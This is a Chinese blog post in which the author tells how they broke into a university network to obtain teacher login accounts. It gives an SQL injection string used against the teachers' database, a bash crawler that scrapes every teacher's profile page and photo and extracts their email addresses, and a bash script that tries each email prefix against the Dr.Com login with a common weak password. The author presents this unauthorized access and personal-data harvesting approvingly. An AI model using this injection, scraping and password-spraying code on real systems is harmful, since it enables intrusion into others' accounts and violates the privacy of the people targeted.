首页 > 安全 > 网络安全 >

一次基于爬虫的社工之旅

2012-04-26

引子写这片日志之前不得不吐槽下学校的网络先,没有公共Wi-Fi,还没有给学生提供教学区上网途径,据说可以申请,但一定要挂在某位老师的名下,WTF。哪里有压迫,哪里就有反抗!——《毛主席语录》本来手头是有几...

引子

写这片日志之前不得不吐槽下学校的网络先,没有公共Wi-Fi,还没有给学生提供教学区上网途径,据说可以申请,但一定要挂在某位老师的名下,WTF。

哪里有压迫,哪里就有反抗!

——《毛主席语录》

本来手头是有几个教学区教师帐号的,(这些帐号是matrush大一的时候和他的室友一起手工社工出来的这种事情我会说出来吗?!),用了这么久很多帐号密码都被重置过了,直到有天我需要上网的时候发现没一个帐号可用,于是决定社工hack一遍。我一直信奉dont be evil(不作恶) ,hack这种事情看似是evil的,毕竟手头的权利大了,但是我觉得不要干坏事就好了 。

正文

学校教学区上网使用了一套叫Dr.Com的解决方案,在接入内网后使用Web登陆的方式认证。




考虑到校内很多帐号用户名都是重用的,比如邮箱的帐号和上网登陆的帐号,依照matrush先前的思路,从社工邮箱开始。学校有个教师数据中心提供教师信息的查询。检查了下后发现存在好几个SQL注入点,站点是基于Servlet + jsp + MSSQL建的,不知被人hack多少次了,幸亏权限不大(这位coder一定不知道Java中使用PrepareStatement(rather than Statement)就可以轻松杜绝SQL注入这种事情了。)一句非常简单的SQL注入获取到了所有教师的id。

'OR 1=1 --
//稍微解释下,很容易猜测这个查询功能的SQL是类似这样的:SELECT * FROM TABLE_FOO WHERE COLUMN_BAR LIKE '关键字'
//这里的关键字被我用第一行的注入语句填充后就变成了
SELECT * FROM TABLE_FOO WHERE COLUMN_BAR LIKE ''OR 1=1 --'


http://×××××/UTADB/teacher/search_one_intro.jsp?teacher_id=[教师编号] 就是对应教师的个人介绍页面,我又要吐槽下,前端做得懒透了,兼容性差,难看!现在的目标是扫描所有教师的页面获取上面在所有的email地址。我的策略是用爬虫把所有页面都爬下来,再做本地文本检索。这里我稍微邪恶了下,开爬了把教师的照片也爬下来,服务器获取照片的url是固定的,判断那张照片是通过session判断的,所以这里每次访问都保持一个cookie。直接上shell脚本
#!/bin/bash
#开始时间
START=`date +%s%N`;
#保存目录
RES_DIR=search_one_intro;
mkdir -p $RES_DIR

#访问一次初始化cookie www.2cto.com
COOKIE_FILE=./current.cookie;
curl -c $COOKIE_FILE -s "http://**/UTADB/teacher/search_one_intro.jsp?teacher_id=00398"
#teacher.list 是教师的id列表,每行一个id
for eachline in `cat teacher.list`
do
{
#如果已经爬过(存在且文件尺寸大于0)
if [ -s $RES_DIR/$eachline.html ];then
continue
fi

wget -O $RES_DIR/$eachline.html --load-cookies=$COOKIE_FILE "http:// www.2cto.com /UTADB/teacher/search_one_intro.jsp?teacher_id=$eachline"
wget -O $RES_DIR/$eachline.jpg --load-cookies=$COOKIE_FILE "http://***/UTADB/teacher/search_intro_pic_show.jsp"

#如果爬失败了,等待
if [ ! -s $RES_DIR/$eachline.html ];then
sleep 1
fi
}
done
#结束时间
END=`date +%s%N`;
echo "it takes `expr \( $END - $START \) / 1000000` ms."
#正则匹配所有爬到的Email地址并保存
grep -E -o --color "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" */*.html > emails_gen.txt
期间服务器多次down掉,估计承受不了这么快的访问请求。多次重试+漫长等待后,爬到了9,795 items, totalling 408.4 MB ,以及195个email地址。下一步就是用这些email前缀去穷举帐号,密码一律用matrush以前命中率很高的那个史上最常用的弱密码,响应的html文本中Msg表示了响应的结果,这个结果代表什么意思查看dr.com页面源代码即可知道。

在写post格式的时候,没想到dr.com服务端还加了个标记0MKKey=%B5%C7%C2%BC+Login,结果一直响应出问题。还好坚信http请求一定是可以伪造的,N次蛋疼后发现了这个标记。再一个脚本:


#!/bin/bash
RESULT_FILE=result.auto
mkdir -p account
rm -f $RESULT_FILE
for eachline in `cat emails_gen.txt`
do
clear
#正则获取email中@前的前缀
username=`echo $eachline|awk -F"@" '{print $1}'`
echo $username >> $RESULT_FILE
#弱密码密码
password="这儿是弱密码"
curl -X POST -d "DDDDD=$username&upass=$password&0MKKey=%B5%C7%C2%BC+Login" http://192.168.6.1/ | grep "Msg=" | awk -F";" '{print $1}' >> $RESULT_FILE
sleep 2
done
结果保存在了result.auto文件中,done

作者 McKelvin's Blog
相关文章
最新文章
热点推荐